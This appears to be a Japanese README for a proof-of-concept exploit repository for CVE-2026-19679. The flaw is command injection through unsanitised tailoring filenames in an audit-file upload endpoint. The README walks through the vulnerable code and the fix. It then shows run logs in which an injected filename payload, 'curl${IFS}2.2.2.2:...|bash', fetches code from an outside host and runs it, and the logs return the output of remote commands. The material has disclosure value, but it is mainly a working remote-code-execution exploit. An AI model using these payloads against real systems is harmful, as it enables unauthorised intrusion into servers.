h00die/poc-cve-2026-19679CVE-2026-19679 用の概念実証エクスプロイト。監査ファイルのアップロードにおけるファイル名のサニタイズ処理の不備により、コマンドインジェクションを引き起こす脆弱性です。差分バージョンプローブと、リモートコマンド実行用の exec モードを備えています。
ステータス: 確認済み 6.7.2-14.el9 ラボ環境（2026-08-20）。POST /rest/auditFile に
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" を指定すると HTTP 200 が返り、
AuditFile #1000002 が登録された — シェルメタ文字を含むファイル名は検証を通過し、
エンドツーエンドで保存された。6.9.0 では同じリクエストは
"Invalid tailoring filename." で拒否される。
監査ファイルのアップロードパラメータ（filename、tailoringFilename、
tailoringOriginalFilename）は PARAM_FILENAME
（）で検証されるが、チェックされるのは次の 3 点のみ: 空でないこと、
を含まないこと（ と一致すること）、ステージングされたファイルが存在すること。
— 、、バッククォート、、空白はそのまま通過する。
Utility::validateParams()/basename();$()${IFS}それらの名前は次の処理に流れ込む:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307（名前に任意のメタ文字を含むファイルが作成される）exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") ここで、エスケープされていない $tmpZipFile は
クライアントの filename パラメータに由来する — CVE-2026-19681 の下流コマンドインジェクション。ラボで検証した境界: トラバーサルは 6.9 以前の欠陥の一部ではない — 両方の
tailoring パラメータが / を拒否する（../ ペイロードではエラー 146
Invalid syntax for attribute ...）。欠けているのはまさに文字セットフィルタであり、
CVE の説明が「下流のコマンドインジェクションに寄与し得る」と述べるのはこの点を指す。
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
加えて、両方の名前への basename() と、zip オペランドへの escapeshellarg()。
差分バージョンプローブ — 1 つのリクエストで、バージョンごとに正反対の結果:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."動作メモ（すべてラボ検証済み）:
/rest/file/upload（multipart Filedata、context フォームフィールド）context=auditFile は
zip に対してコンテンツ検出を実行する（ダミー zip ではエラー 107）type=scapLinux|scapWindows、version=1.2、benchmarkName、
dataStreamName が必要19679 は検証の欠落であり、19681 は exec のシンクである。同じアップロードフローが
両方を引き起こす: 19681 は、ステージングされた filename に（アップロードの
context プレフィックス経由で）メタ文字を仕込み、エスケープされていない
$tmpZipFile を通してそれらを発火させる; 19679 は、兄弟パラメータが同じ文字クラスを
同じコマンド文字列に至るまで（そしてその内部にまで）受け入れることを実証する。
6.9.0 は 1 つのコミット領域で両側を修正する: 文字セット + basename + escapeshellarg。
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux